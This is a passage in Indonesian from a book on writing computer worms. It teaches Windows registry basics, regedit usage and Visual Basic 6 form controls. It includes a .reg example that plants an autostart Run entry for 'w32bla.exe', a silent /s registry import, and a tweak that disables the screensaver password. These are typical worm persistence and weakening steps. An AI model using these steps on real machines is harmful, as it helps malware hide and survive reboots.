3.1.1 HIVEAda enam hive atau cabang utama pada registry, masing-masing berisi suatu porsi spesifik menyangkut informasi yang disimpan di dalam registry tersebut. Adapun hive-hive tersebut adalah sebagai berikut:

1. HKEY_CLASSES_ROOT: hive ini berisi semua informasi tentang file asosiasi untuk mendukung fitur drag-and-drop, informasi OLE, windows shortcuts, dan aspek inti pada tampilan Windows.

2. HKEY_CURRENT_USER: hive ini merujuk pada bagian HKEY_USERS, sesuai dengan user yang sedang aktif dan berisi informasi seperti nama logon, pengaturan desktop, dan pengaturan Startmenu.

3. HKEY_LOCAL_MACHINE: hive ini berisi informasi spesifik kom-puter tentang jenis hardware, software, dan pilihan-pilihan yang berkaitan dengan komputer tersebut, dan informasi ini digunakan untuk semua user pada komputer itu.

4. HKEY_USERS: hive ini berisi pilihan individu untuk masing-masing user yang menggunakan komputer, masing-masing user diwakili oleh suatu Sid sub-key yang ditempatkan di bawah cabang utama.

5. HKEY_CURRENT_CONFIG: hive ini merujuk pada bagian HKEY_LOCAL_MACHINE, sesuai dengan konfigurasi hardware yang berlaku saat itu.

6. HKEY_DYN_DATA: hive ini merujuk suatu bagian dari HKEY_LOCAL_MACHINE, untuk digunakan dengan fitur plug & play pada Windows, bagian ini bersifat dinamis dan akan berubah ketika suatu alat ditambahkan atau dipindahkan dari system.

3.1.2 VALUEMasing-masing value disimpan dengan beberapa jenis data, yang paling sering digunakan adalah:1. REG_BINARY: Jenis ini menyimpan nilai sebagai data biner. Ke-

banyakan informasi komponen perangkat keras disimpan sebagai data biner, dan dapat dilihat pada sebuah editor dalam format hexadecimal.

Page 47: Computer Worm 1 secret of underground coding

32Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 3. R

egistry Window

s

2. REG_DWORD: Jenis ini mewakili data dengan empat byte nomor; dan biasanya digunakan untuk nilai-nilai boolean, seperti "0" berarti disabled dan "1" berarti enabled.

3. REG_SZ: Jenis ini adalah suatu string standar, yang digunakan untuk mewakili value yang bisa dibaca manusia.

3.2 REGISTRY EDITOR (REGEDIT)Aplikasi Registry Editor adalah suatu tool yang memudahkan kita un-tuk mengubah pengaturan pada system registry. Registry Editor secara otomatis disediakan saat pertama kali suatu sistem operasi Windows diinstal.

3.2.1 MEMBUKA APLIKASI REGISTRY EDITORAnda tidak akan menemukan shortcut-nya pada Startmenu karena aplikasi ini hanya diperuntukan bagi advanced user, yang sedikitnya mengerti tentang registry sehingga tidak menimbulkan hal-hal yang bisa mengakibatkan kerusakan, karena salah mengubah pengaturan pada registry. Untuk membuka aplikasi Registry Editor bisa dengan cara:1. Klik Startmenu2. Pilih Run, akan muncul kotak dialog Run, pada TextBox Open ketik

'regedit’ kemudian klik OK atau tekan tombol enter pada keyboard

3. Untuk menutup aplikasi Registry Editor, klik menu 'Registry’ ke-mudian klik 'Exit’.

Page 48: Computer Worm 1 secret of underground coding

33Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

3. R

egis

try W

indo

ws

3.2.2 LINGKUNGAN KERJA REGISTRY EDITORLingkungan kerja Registry Editor meliputi:1. Menubar yang pada versi Windows 9x dan ME terdiri dari menu

Registry, Edit, View dan Help sementara pada Windows 2000 dan XP terdiri dari File, Edit, View, Favorites dan Help

2. Explorerbar yang berupa folder tree di sisi kiri dan content list di sisi kanan.

3.3 OPERASI DASAR REGISTRY EDITORSebaiknya kita memanipulasi registry jika hal tersebut sungguh perlu untuk dilakukan, karena jika ada suatu kesalahan dalam melakukan pe-rubahan pada registry, komputer bisa menjadi tidak berfungsi dengan normal. Namun jika hal ini terjadi, Anda masih dapat mengembalikan pengaturan registry tersebut ke kondisi saat terakhir komputer sukses di jalankan dengan normal.

Page 49: Computer Worm 1 secret of underground coding

34Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 3. R

egistry Window

s

3.3.1 BACKUP & RESTORE REGISTRYPada Windows 95, disertakan sebuah file utility pada CD installer Windows 95 yang bernama cfgback.exe. File ini berada pada folder \Other\Misc\Cfgback.

Utility ini sanggup membuat 9 salinan registry yang berbeda, dan di-simpan dengan ekstensi *.rbk pada direktori Windows, dengan utility ini pula file *.rbk tersebut diubah kembali menjadi registry aktif.

Pada Microsoft Windows 98, system secara otomatis membuat backup registry setiap kali Windows startup, walau demikian kita bisa membuat backup secara manual dengan menggunakan perintah SCANREGW.EXE dari Startmenu, kemudian klik Run dan ke-tik 'scanregw’ pada TextBox Open.

Untuk mengubah data backup kembali menjadi registry aktif dapat menggunakan langkah-langkah berikut:1. Klik Startmenu, kemudian klik Shut Down2. Pilih opsi Restart in MS-DOS Mode, klik OK3. Pada MS-DOS Prompt, ketik: SCANREG /RESTORE

Ikuti petunjuk yang diberikan, pilih tanggal backup saat terakhir kom-puter sukses di jalankan dengan normal, dan akhiri dengan me-restart komputer.

Page 50: Computer Worm 1 secret of underground coding

35Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

3. R

egis

try W

indo

ws

3.3.2 EXPORT & IMPORT DATA REGISTRYUntuk mengekspor sebagian atau seluruh data registry pada suatu file text, dapat dilakukan dengan cara:1. Klik My Computer untuk mengekspor seluruh data registry, atau

klik suatu hive untuk mengekspor isi dari hive tersebut2. Pada menu Registry, klik Export Registry File, tentukan lokasi

penyimpanan file yang diekspor, kemudian ketik nama file yang diinginkan. File yang dibuat akan berekstensi *.reg, dan bisa diubah dengan menggunakan text editor apa saja.

Untuk mengimpor suatu data registry dari file yang berekstensi *.reg, dapat dilakukan dengan cara, pada menu Registry, klik Import Regis-try File. Tentukan lokasi dan nama file yang ingin diimpor, kemudian klik Open.

3.3.3 MANIPULASI KEY & VALUEUntuk menambah suatu key, dapat dilakukan dengan cara sebagai berikut:1. Klik pada hive yang akan ditambahkan key baru2. Klik Edit pada menubar, arahkan pada opsi New dan pilih Key

3. Sebuah key baru akan muncul dengan nama default seperti 'New Key #1’

4. Ketik nama yang diinginkan, dan tekan enter.

Page 51: Computer Worm 1 secret of underground coding

36Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 3. R

egistry Window

s

Untuk menambah suatu value, dapat dilakukan dengan cara sebagai berikut:1. Klik pada hive yang akan ditambahkan value baru2. Klik menu Edit, arahkan pada opsi New dan pilih jenis value yang

ingin ditambahkan: String Value, Binary Value, atau DWORD Value

3. Sebuah value baru akan muncul dengan nama default seperti 'New Value #1’

4. Ketik nama yang diinginkan, dan tekan enter.

Untuk mengubah data pada suatu value, dapat dilakukan dengan cara sebagai berikut:1. Klik pada value yang akan diubah datanya2. Klik menu Edit, kemudian klik Modify, sebuah kotak dialog edi-

tor akan muncul sesuai dengan jenis data value yang akan diubah. Lakukan perubahan dan tekan enter untuk mengakhirinya.

Untuk menghapus suatu key atau value, dapat dilakukan dengan cara sebagai berikut:1. Klik pada key atau value yang akan dihapus2. Klik menu Edit, kemudian klik Delete.

Untuk mengubah nama suatu key atau value, dapat dilakukan dengan cara sebagai berikut:1. Klik pada key atau value yang namanya akan diubah2. Klik menu Edit, kemudian klik Rename3. Ketik nama yang diinginkan, dan tekan enter.

Page 52: Computer Worm 1 secret of underground coding

37Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

3. R

egis

try W

indo

ws

3.3.4 PENCARIAN TEKS PADA KEY, VALUE ATAU DATARegistry Editor juga menyediakan fasilitas find (pencarian) yang sangat berguna apabila kita mencari suatu string tertentu pada registry, hal ini dapat dilakukan dengan cara sebagai berikut:1. Klik My Computer untuk melakukan pencarian pada seluruh data

registry, atau klik suatu hive untuk memulai pencarian dari isi hive tersebut

2. Klik menu Edit, kemudian klik Find3. Akan tampil sebuah kotak dialog Find. Ketikan suatu string yang

ingin dicari pada textbox 'Find what’, kemudian beri tanda check pada opsi Keys, Values atau Data untuk melakukan pencarian pada masing-masing opsi tersebut

4. Klik Find Next, jika Registry Editor menemukan string yang Anda

cari maka secara otomatis Registry Editor akan menyorot pada string tersebut. Untuk mengulang pencarian dengan string yang sama Anda tinggal mengklik 'Find Next’ pada menu Edit

Page 53: Computer Worm 1 secret of underground coding

38Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 3. R

egistry Window

s

5. Jika string yang dicari hingga string terakhir dari Keys, Values atau Data tidak juga ditemukan maka akan muncul sebuah kotak pesan sebagai berikut:

3.3.5 MENGGUNAKAN PERINTAH BARIS (COMMAND LINE)Registry Editor memiliki beberapa pilihan perintah baris untuk mempermudah otomasi dalam penggunaan batch file atau perintah langsung dari DOS prompt. Bentuk umumnya adalah:

regedit.exe [options] [filename] [regpath]

Beberapa contoh penggunaan parameter perintah regedit ini adalah :

regedit [filename] , akan mengimpor data file *.reg ke dalam registry aktif, contoh:

regedit c:\file.reg

Data pada file file.reg akan di install atau dimasukkan ke dalam registry windows. Contoh lainnya adalah

regedit /s [filename] yang akan menyembunyikan kotak dialog konfir-masi saat mengimpor file *.reg, contoh:

regedit /s c:\file.reg

Page 54: Computer Worm 1 secret of underground coding

39Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

3. R

egis

try W

indo

ws

Dengan perintah ini, regedit tidak akan menampilkan konfirmasi kepada user saat memasukkan data file.reg ke dalam registry. Dengan perintah :

regedit /e [filename] [regpath], data dari registry akan diekspor ke [filename] yang dimulai pada [regpath], contoh:

regedit /e file.reg HKEY_USERS\.DEFAULT

3.3.6 MEMANFAATKAN FILE REGFile reg sudah terasosiasi dengan aplikasi Registry Editor, sehingga apabila kita melakukan klik ganda pada file reg, maka file reg tersebut akan diimpor pada registry aktif, yang sebelumnya akan menampilkan sebuah kotak dialog konfirmasi. Klik Yes apabila Anda yakin untuk mengimpor file reg tersebut.

Contoh file reg berikut akan membuat sebuah String Value bernama 'winsys’ dengan data 'c:\windows\w32bla.exe’ pada lokasi registry:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur-rentVersion\Run.

Apabila value tersebut sudah ada pada lokasi registry tersebut maka data dari value tersebut akan di-overwrite dengan data yang baru.

REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]"winsys"="c:\\windows\\w32bla.exe"

Page 55: Computer Worm 1 secret of underground coding

40Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 3. R

egistry Window

s

Contoh lain untuk membuat sebuah DWORD Value dan Binary Value:

REGEDIT4

[HKEY_CURRENT_USER\Control Panel\Desktop]"ScreenSaveUsePassword"=dword:00000000"SmoothScroll"=hex:00,00,00,00

File reg juga dapat digunakan untuk menghapus suatu key atau value pada registry aktif, dengan memberi tanda '-'. Contoh berikut ini akan menghapus key registry aktif pada HKEY_CURRENT_USER\Soft-ware\Malcode

REGEDIT4

[-HKEY_CURRENT_USER\Software\Malcode]

Contoh lain untuk menghapus sebuah value:

REGEDIT4

[HKEY_CURRENT_USER\Control Panel\Desktop]"ScreenSaveUsePassword"=-

Catatan:

Penulis menemukan suatu bug pada cara ini dimana aplikasi Registry Editor tidak akan mengeksekusi baris terakhir, jadi pastikan ada baris kosong pada akhir file, untuk itu klik bagian bawah teks terakhir, apabila kursor berpindah ke baris kosong maka cara tersebut sudah benar, jika tidak maka tempatkan kursor pada akhir teks, kemudian tekan enter untuk membuat baris baru dibawahnya.

Perhatikan pada teks awal yakni "REGEDIT4", tidak terdapat spasi diantara REGEDIT dan 4.

Perhatikan juga teks "dword" dan "hex", teks ini menggunakan lowercase (huruf kecil).

Page 56: Computer Worm 1 secret of underground coding

41Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

4. M

enge

nal V

isua

l Bas

ic

BAB 4MENGENAL VISUAL BASIC 6.0

Kenapa bab ini ada?

Visual Basic merupakan salah satu bahasa pemrograman yang banyak digunakan para worm writer untuk membuat worm, dengan Visual Basic pula seorang administrator sistem bisa membuat sebuah removal tool (alat pembersih) untuk worm. Bab ini akan mengenalkan kita pada tampilan, peralatan dan dasar-dasar penggunaan aplikasi Visual Basic.

Page 57: Computer Worm 1 secret of underground coding

42Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 4. M

engenal Visual B

asic

Visual Basic 6.0 adalah salah satu bahasa pemrograman tingkat tinggi yang berguna untuk membuat suatu aplikasi dengan cepat dan mudah. Visual Basic dibuat dalam lingkungan Micro-

soft Windows sehingga mampu berinteraksi dengan seluruh aplikasi Windows.

Didalam pengembangan program, aplikasi Visual Basic 6.0 banyak didukung fasilitas-fasilitas tambahan sehingga mampu menghasilkan program yang bermutu tinggi.

4.1 LINGKUNGAN KERJA VISUAL BASICSeperti aplikasi Windows pada umumnya, IDE (Integrated Develop-ment Environment) atau lingkungan kerja dari Visual Basic juga me-miliki menubar, toolbar dan beberapa jendela tambahan seperti Project Explorer, Form Properties Window, Layout Window, Toolbox, Form Window Dan Code Editor.

Jendela Utama Visual Basic 6.0

Page 58: Computer Worm 1 secret of underground coding

43Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

4. M

enge

nal V

isua

l Bas

ic

4.1.1 MENUBARMenubar adalah kumpulan instruksi yang diklasifikasikan menjadi beberapa menu lainnya.

Menubar berupa menu dropdown yang terdiri dari menu File, Edit, View, Project, Format, Debug, Run, Query, Diagram, Tools, Add-Ins, Window dan menu Help.

4.1.2 TOOLBARToolbar berfungsi sama seperti menubar, hanya saja toolbar adalah tombol-tombol shortcut yang mewakili suatu perintah tertentu dari Visual Basic.

Untuk memilih suatu proses yang akan dilakukan, Anda tinggal mengklik icon yang sesuai. Dengan adanya toolbar, pengguna akan dimudahkan dalam memilih proses yang sering dilakukan tanpa harus memilihnya melalui menubar.

4.1.3 PROJECT EXPLORERProject Explorer adalah jendela yang menampilkan semua file di dalam aplikasi Visual Basic. Setiap aplikasi dalam Visual Basic disebut den-gan istilah project, dan setiap project bisa mengandung lebih dari satu object misalnya form, module, class, dan sebagainya.

Page 59: Computer Worm 1 secret of underground coding

44Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 4. M

engenal Visual B

asic

4.1.4 PROPERTIES WINDOWSProperties Windows adalah jen-dela yang menampilkan semua informasi mengenai object yang terdapat pada aplikasi Visual Basic.

Properties disini diartikan sebagai sifat dari sebuah object misalnya nama, jenis huruf, warna, ukuran, dan sebagainya.

4.1.5 FORM LAYOUT WINDOWForm layout window berguna untuk me-lihat dan mengatur posisi form pada layar monitor saat form aktif.

Untuk menggunakan jendela ini tinggal mengklik icon form dan menggesernya ke posisi yang diinginkan.

4.1.6 TOOLBOXToolbox adalah sebuah "kotak peralatan" yang memuat object atau control yang dibutuhkan untuk membentuk suatu program aplikasi. Control adalah object yang menjadi perantara antara program aplikasi dan pengguna, yang kesemuanya diletakkan di dalam jendela form.

Page 60: Computer Worm 1 secret of underground coding

45Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

4. M

enge

nal V

isua

l Bas

ic

4.1.7 FORM WINDOWForm Window adalah tempat untuk membuat tampilan bagi program yang dibuat, Anda bisa menam-bahkan control object pada Form Window.

4.1.8 CODE WINDOWCode Window atau jendela kode adalah tempat kode dan in-struksi-instruksi pem-rograman diketikkan dalam bahasa Visual Basic.

Untuk membuka jendela kode ada beberapa cara:1. Klik View pada menubar, kemudian klik Code, atau tekan tombol

Alt+V kemudian tekan tombol C2. Klik kanan pada bidang form, kemudian klik View Code3. Klik ganda pada bidang form atau control object yang ada4. Klik kanan pada Project Explorer, kemudian klik View Code5. Klik icon View Code pada Project Explorer.

Page 61: Computer Worm 1 secret of underground coding

46Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 4. M

engenal Visual B

asic

4.2 PEMBUATAN APLIKASIPembuatan sebuah program aplikasi harus dikerjakan dalam sebuah project, menambahkan control object yang dibutuhkan, kemudian menulis kode program dan menjalankan program tersebut. Terakhir ,program tersebut akan di compile sehingga menjadi sebuah file executable.

Sebuah project bisa terdiri dari file project (.vbp), file form (.frm), data binary untuk setiap form (.frx), module class (.cls), module (.bas), dan resource file (.res).

4.2.1 MEMBUAT PROYEKPada saat memulai Visual Basic akan tampil jendela New Project, untuk membuat sebuah project standar klik icon Standar EXE pada tab New dan klik Open, atau klik File pada menubar kemudian pilih New Project.

Page 62: Computer Worm 1 secret of underground coding

47Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

4. M

enge

nal V

isua

l Bas

ic

4.2.2 MENYISIPKAN CONTROLUntuk menambahkan control object dapat dilakukan dengan cara:1. Klik ganda control object yang diinginkan pada toolbox2. Klik control object, kemudian klik (tahan) pada bidang form dan

geser mouse sampai ukuran yang diinginkan.

4.2.3 SETTING PROPERTIESSetiap form dan control sudah memiliki properties yang di-setting secara default ketika sebuah project dibuat. Untuk mengubah ukuran, letak atau jenis huruf yang digunakan bisa dilakukan dengan menga-tur properties pada object. Ada dua cara untuk melihat properties dari sebuah object:1. Klik pada object form atau Control pada Form Window, kemudian

klik pada jendela properties atau tombol Properties Window pada toolbar.

2. Klik pada jendela properties, kemudian pilih object yang dimaksud pada kotak Object pada Properties Window.

4.2.4 MENGETIK KODE PROGRAMPengetikan kode program dilakukan pada jendela kode, contoh kode

Page 63: Computer Worm 1 secret of underground coding

48Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 4. M

engenal Visual B

asic

program yang ditulis pada jendela kode adalah sebagai berikut:

4.2.5 MENYIMPAN PROGRAMMenyimpan program dapat dilakukan dengan beberapa cara, yaitu:1. Tekan tombol Ctrl+S2. Klik tombol Save pada toolbar3. Klik File pada menubar kemudian pilih Save.

4.2.6 MENJALANKAN PROGRAMUntuk melihat hasil dari program aplikasi yang telah dibuat, dapat dilakukan dengan menjalankan atau mengeksekusi program tersebut dengan cara:1. Tekan tombol F5 pada keyboard2. Klik Run pada menubar kemudian pilih Start3. Klik icon Start (u) pada toolbar.

Page 64: Computer Worm 1 secret of underground coding

49Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

4. M

enge

nal V

isua

l Bas

ic

4.2.7 KOMPILASI PROGRAM MENJADI EXEKompilasi adalah tahap terakhir dalam pembuatan sebuah program aplikasi, dimana program yang telah selesai akan dibuat menjadi sebuah file executable, yang dapat dieksekusi tanpa menggunakan program aplikasi Visual Basic. Untuk mengkompilasi dapat dilakukan dengan cara:1. Klik File pada menubar, kemudian klik Make Nama_Proyek.Exe

Akan tampil kotak dialog Make Project,

2. Isi textbox File name dengan nama file Exe yang akan dibuat, default-nya adalah nama dari project Anda. Pilih direktori tempat file tersebut akan diletakkan nanti. Klik OK. Tunggu sampai proses selesai.

Page 65: Computer Worm 1 secret of underground coding
Page 66: Computer Worm 1 secret of underground coding

51Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

5. O

bjec

t For

m d

an C

ontro

l

BAB 5OBJECT FORM DAN CONTROL

Kenapa bab ini ada?

Dalam mempelajari aplikasi Visual Basic tak terlepas dari istilah object dan control, maka untuk melanjutkan bab sebelumnya bab ini akan membahas lebih jauh mengenai object dan control yang terdapat pada aplikasi Visual Basic.

Selain mengenal beberapa object dan control bab ini juga memuat beberapa event dan properties yang sering digunakan pada object dan control tersebut.

Page 67: Computer Worm 1 secret of underground coding

52Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 5. O

bject Form dan C

ontrol

Object adalah segala sesuatu yang ada pada program. Setiap object pada Visual Basic didefinisikan oleh suatu class. Object bisa berupa form dan control, jadi bisa dikatakan bahwa form

dan control adalah suatu class.

Class adalah definisi formal suatu object dan berfungsi sebagai tem-plate dari suatu object yang dibuat saat run-time, class mendefinisikan setiap properti dan metode untuk mengontrol tindakan object.

Properti adalah penanda suatu object yang mengatur sifat-sifat object tersebut seperti nama, jenis huruf yang digunakan, warna, ukuran dan lain sebagainya. Sedangkan metode disini berarti suatu procedure yang dikenakan pada suatu object, metode memanfaatkan object untuk melakukan suatu kejadian tertentu.

Pada saat kita membuat project baru, Visual Basic menyediakan control standar untuk digunakan pada form, control standar tersebut disebut control intrinsic, control ini juga merupakan class-class yang sudah tersedia.

Bab ini akan membahas tentang properti dan event atas form dan control-con-trol intrinsic tersebut.

Event adalah suatu ke-jadian yang direspon oleh object, seperti klik mouse, klik tombol keyboard dan lain sebagainya.

Perlu Anda ketahui bahwa event suatu control bisa dieksekusi oleh control lainnya.

Page 68: Computer Worm 1 secret of underground coding

53Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

5. O

bjec

t For

m d

an C

ontro

l

5.1 FORMForm berfungsi sebagai peranta-ra antara program dan user. Saat kita membuat project (Standard EXE) baru, Visual Basic secara otomatis memberikan sebuah form bernama Form1. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk merancang suatu form:

PROPERTI KETERANGAN

(Name) Nama form biasanya diberi prefix frm

BackColor Warna latar belakang form

BorderStyle Model

Caption Titel atau judul form

ControlBox Menampilkan atau menyembunyikan tombol control (minimize, restore/ maximize, close) pada form

Enabled Jika bernilai true, mengijinkan form untuk merespon event mouse dan keyboard. Jika bernilai false, form akan menolak event tersebut.

Font Mengatur jenis, model dan ukuran huruf

Height Tinggi form

Icon Menetapkan icon untuk form tersebut atau aplikasi apabila form tersebut terpilih sebagai Startup Object.

MaxButton Jika bernilai false, maka tombol maximize menjadi disable (tidak aktif)

MDIChild Menetapkan apakah form tersebut MDI (Multiple Document Interface) atau tidak.

MinButton Jika bernilai false, maka tombol minimize menjadi ti-dak aktif

Picture Memasukan object gambar pada form.

Page 69: Computer Worm 1 secret of underground coding

54Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 5. O

bject Form dan C

ontrol

PROPERTI KETERANGAN

Visible Mengatur apakah form akan ditampilkan pada user atau menyembunyikannya.

ShowInTaskbar Mengatur apakah form akan ditampilkan pada taskbar atau menyembunyikannya.

StartUpPosition Posisi form pada layar monitor, saat di-load

Tag Digunakan sebagai kontainer untuk data dari control yang ingin disimpan

Width Lebar form

WindowState Mengatur ukuran tampilan form saat di-load apakah minimize atau maximize.

Event adalah kejadian yang berpengaruh langsung pada form, contoh beberapa event yang biasanya dimanfaatkan:

EVENT SAAT TERJADI

Activate Form terpilih dan menjadi aktif

Click User mengklik pada bidang form

DblClick User melakukan double click pada bidang form

Load Form diaktifkan untuk pertama kali atau sesaat sebelum ditampilkan

Unload Form di non-aktifkan atau sesaat sebelum mengakhiri form tersebut

Terminate Form diakhiri, baik mengikuti procedure atau diluar dari procedure yang ada.

5.2 KONTROLControl adalah object yang ditempatkan pada bidang form sebagai perantara program dan user baik sebagai media masukan atau keluaran.

Page 70: Computer Worm 1 secret of underground coding

55Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

5. O

bjec

t For

m d

an C

ontro

l

5.2.1 PICTUREBOXDengan control PictureBox kita bisa menempatkan object gambar pada form. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk control PictureBox:

PROPERTI KETERANGAN

(Name) Nama PictureBox, biasanya diberi prefix pic

Align Pengaturan posisi PictureBox pada form

AutoSize Jika true, maka ukuran PictureBox akan menyesuaikan object gambar didalamnya.

BackColor Warna latar belakang PictureBox

BorderStyle Mengatur garis tepi pada form

Height Tinggi PictureBox

Left Jarak PictureBox pada batas tepi kiri form

Picture Memasukan object gambar pada PictureBox.

TabIndex Urutan perpindahan tabulasi

TabStop Jika false, maka control tersebut tidak akan terfokus

Width Lebar PictureBox.

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:

EVENT SAAT TERJADI

Change Terjadi perubahan pada PictureBox, misalnya pada properti Picture

Click User mengklik pada bidang PictureBox

DblClick User melakukan double click pada bidang PictureBox.

Page 71: Computer Worm 1 secret of underground coding

56Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 5. O

bject Form dan C

ontrol

5.2.2 LABELControl Label digunakan untuk membuat label pada bidang form yang biasanya berfungsi sebagai pemberi keterangan. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama Label, biasanya diberi prefix lbl

Alignment Mengatur perataan teks pada Label

AutoSize Jika true, maka ukuran Label akan menyesuaikan pada ukuran teks.

BackColor Warna latar belakang Label

BackStyle Jika transparent, maka latar belakang Label menjadi transparan.

BorderStyle Mengatur garis tepi pada Label

Caption Mengatur teks yang akan ditampilkan Label

Font Mengatur jenis, model dan ukuran huruf

ForeColor Mengatur warna teks pada Label

Height Tinggi Label

ToolTipText Mengatur keterangan yang akan ditampilkan secara pop-up saat pointer berada pada Label.

Visible Jika false, maka Label tidak ditampilkan

Width Lebar Label.

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:

EVENT SAAT TERJADI

Change Terjadi perubahan pada Label, misalnya pada properti Caption

Click User mengklik pada bidang Label

DblClick User melakukan double click pada bidang Label.

Page 72: Computer Worm 1 secret of underground coding

57Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

5. O

bjec

t For

m d

an C

ontro

l

5.2.3 TEXTBOXControl TextBox digunakan sebagai tempat masukan atau keluaran data berupa teks. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama TextBox, biasanya diberi prefix txt

Alignment Mengatur perataan teks pada TextBox

Height Tinggi TextBox

MaxLength Mengatur batas jumlah karakter yang bisa dimasuk-kan pada TextBox

MultiLine Jika true, maka memungkinkan untuk menggu-nakan teks lebih dari satu baris.

PasswordChar Mengatur karakter untuk password

ScrollBars Mengatur scrollbar pada TextBox

Text Mengatur teks yang akan ditampilkan TextBox

ToolTipText Mengatur keterangan yang akan ditampilkan secara pop-up saat pointer berada pada TextBox.

Visible Jika false, maka TextBox tidak ditampilkan

Width Lebar TextBox.

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:

EVENT SAAT TERJADI

Change Terjadi perubahan pada TextBox, misalnya pada properti Text

Click User mengklik pada bidang TextBox

DblClick User melakukan double click pada bidang TextBox.

Page 73: Computer Worm 1 secret of underground coding

58Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 5. O

bject Form dan C

ontrol

5.2.4 FRAMEControl Frame biasanya digunakan untuk mengelompokkan control dalam suatu area frame, dimana lokasi control (left, right, top) yang berada didalamnya akan menyesuaikan dengan lingkungan frame tersebut. Dibawah ini beberapa contoh properti yang biasanya digu-nakan:

PROPERTI KETERANGAN

(Name) Nama Frame, biasanya diberi prefix fra

Caption Mengatur teks judul yang akan ditampilkan Frame

Height Tinggi Frame

Width Lebar Frame.

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:

EVENT SAAT TERJADI

Click User mengklik pada bidang Frame

DblClick User melakukan double click pada bidang Frame.

5.2.5 COMMANDBUTTONControl CommandButton adalah control yang berupa tombol, yang digunakan untuk mengeksekusi suatu instruksi tertentu. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama CommandButton, biasanya diberi prefix cmd

BackColor Warna latar belakang CommandButton apabila properti Style diatur pada opsi graphical

Caption Mengatur teks yang akan ditampilkan Command-Button.

DisabledPicture Mengatur gambar untuk latar belakang Com-mandButton saat properti Enabled adalah false dan properti Style diatur pada opsi graphical

Page 74: Computer Worm 1 secret of underground coding

59Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

5. O

bjec

t For

m d

an C

ontro

l

DownPicture Mengatur gambar untuk latar belakang Command-Button pada saat posisi tombol diklik, dengan syarat properti Enabled adalah false dan properti Style diatur pada opsi graphical

Enabled Jika bernilai true, mengijinkan CommandButton untuk merespon event mouse dan keyboard. Jika bernilai false, CommandButton akan menolak event tersebut.

Font Mengatur jenis, model dan ukuran huruf

Height Tinggi CommandButton

Picture Mengatur gambar untuk latar belakang Command-Button jika properti Enabled adalah true dan properti Style diatur pada opsi graphical

TabIndex Urutan perpindahan tabulasi

TabStop Jika false, maka control tersebut tidak akan terfokus

Width Lebar CommandButton.

Dibawah ini adalah event yang selalu dimanfaatkan:

EVENT SAAT TERJADI

Click User mengklik pada CommandButton

5.2.6 CHECKBOXControl CheckBox adalah control yang berupa kotak pilihan, digunakan untuk informasi masukan yang dapat bernilai true atau false. Di bawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama CheckBox, biasanya diberi prefix chk

Alignment Mengatur perataan kotak opsi, memposisikan disebelah kiri atau disebelah kanan CheckBox

BackColor Warna latar belakang CheckBox

Page 75: Computer Worm 1 secret of underground coding

60Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 5. O

bject Form dan C

ontrol

Caption Mengatur teks yang akan ditampilkan Check-Box

Enabled Jika bernilai true, mengijinkan CheckBox untuk merespon event mouse dan keyboard. Jika bernilai false, CheckBox akan menolak event tersebut

Font Mengatur jenis, model dan ukuran huruf

ForeColor Mengatur warna teks pada CheckBox

Height Tinggi CheckBox

Value Jika bernilai checked maka berarti kotak opsi dipilih (ditandai dengan tanda centang pada kotak opsi).

Width Lebar CheckBox.

Di bawah ini adalah event yang selalu dimanfaatkan:

EVENT SAAT TERJADI

Click User mengklik pada CheckBox

5.2.7 OPTIONBUTTONControl OptionButton adalah control yang berupa pilihan, digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan:

PROPERTI KETERANGAN

(Name) Nama OptionButton, biasanya diberi prefix opt

Alignment Mengatur perataan kotak opsi, memposisikan disebe-lah kiri atau disebelah kanan OptionButton

BackColor Warna latar belakang OptionButton

Caption Mengatur teks yang akan ditampilkan OptionButton

Enabled Jika bernilai true, mengijinkan OptionButton untuk merespon event mouse dan keyboard. Jika bernilai false, OptionButton akan menolak event tersebut

Page 76: Computer Worm 1 secret of underground coding

61Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

